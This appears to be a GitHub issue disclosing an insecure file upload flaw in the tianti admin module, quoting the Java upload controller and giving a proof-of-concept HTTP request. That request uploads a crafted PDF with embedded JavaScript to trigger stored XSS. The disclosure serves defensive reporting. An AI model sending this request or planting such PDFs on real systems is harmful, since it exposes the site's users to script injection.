Skip to content

Insecure File Upload Vulnerability - /tianti-module-admin/upload/ajax/upload_file #43

@NinjaGPT

Description

@NinjaGPT

Summary

The file upload functionality endpoint /tianti-module-admin/upload/ajax/upload_file in versions ≤2.3 of this project allows uploading arbitrary PDF files without proper security processing, enabling attackers to upload malicious PDFs containing XSS payloads and launch stored XSS attacks.

Details

  • src/main/java/com/jeff/tianti/controller/UploadController.java
@RequestMapping("/ajax/upload_file")
@ResponseBody
public AjaxResult ajaxUploadFile(HttpServletRequest request) {
    MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
    
    AjaxResult ajaxResult = new AjaxResult();
    ajaxResult.setSuccess(false);
    try {
       
       Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
       MultipartFile multipartFile = null;
       String fileName = null;
       for (Map.Entry<String, MultipartFile> set : fileMap.entrySet()) {
          multipartFile = set.getValue();// 文件名
       }
       fileName = this.storeIOc(multipartRequest, multipartFile);
       
       ajaxResult.setData(fileName);
       ajaxResult.setSuccess(true);
    } catch (Exception e) {
       e.printStackTrace();
    }
    
    return ajaxResult;
}
  • com/jeff/tianti/controller/UploadController.java
private String storeIOc(HttpServletRequest request, MultipartFile file) {
    String result = "";
    String realPath = request.getSession().getServletContext().getRealPath("uploads");
    if (file == null) {
       return null;
    }
    String fileName = "";
    String logImageName = "";
    if (file.isEmpty()) {
       result = "文件未上传";
    } else {
       String _fileName = file.getOriginalFilename();
       String suffix = _fileName.substring(_fileName.lastIndexOf("."));
       if(StringUtils.isNotBlank(suffix)){
          if(suffix.equalsIgnoreCase(".xls") || suffix.equalsIgnoreCase(".xlsx") || suffix.equalsIgnoreCase(".txt")|| suffix.equalsIgnoreCase(".png")
                  || suffix.equalsIgnoreCase(".doc") || suffix.equalsIgnoreCase(".docx") || suffix.equalsIgnoreCase(".pdf") 
                  || suffix.equalsIgnoreCase(".ppt") || suffix.equalsIgnoreCase(".pptx")|| suffix.equalsIgnoreCase(".gif")
                  || suffix.equalsIgnoreCase(".jpg")|| suffix.equalsIgnoreCase(".jpeg")|| suffix.equalsIgnoreCase(".bmp")){
             // /**使用UUID生成文件名称**/
             logImageName = UUID.randomUUID().toString() + suffix;

             fileName = realPath + File.separator + ATTACH_SAVE_PATH + File.separator + logImageName;
             File restore = new File(fileName);
             try {
                file.transferTo(restore);
                result = "/uploads/attach/" + logImageName;
             } catch (Exception e) {
                throw new RuntimeException(e);
             }
          }else{
             result = "文件格式不对,只能上传ppt、ptx、doc、docx、xls、xlsx、pdf、png、jpg、jpeg、gif、bmp格式";
          }
       }
    }
    return result;
}

POC

POST /tianti-module-admin/upload/ajax/upload_file HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 843
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysDUjcsAUzEcxvms3
sec-ch-ua-mobile: ?0
X_Requested_With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/tianti-module-admin/ueditor/dialogs/image/image.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close

------WebKitFormBoundarysDUjcsAUzEcxvms3
Content-Disposition: form-data; name="upfile"; filename="pocpdf.pdf"
Content-Type: image/jpeg

%PDF-1.3
%    
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
  <</O
  <</JS
  (
try {
  app.alert\("XSS"\)
} catch (e) {
  app.alert('Error: ' + e.message);
}
  ) 
  /S /JavaScript>>>>
  /Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
  /Resources
  <</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
  /Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream
 
BT
/F1 24 Tf
ET
    
endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer

<</Root 1 0 R /Size 5>>
startxref
493
%%EOF
------WebKitFormBoundarysDUjcsAUzEcxvms3--

Image Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions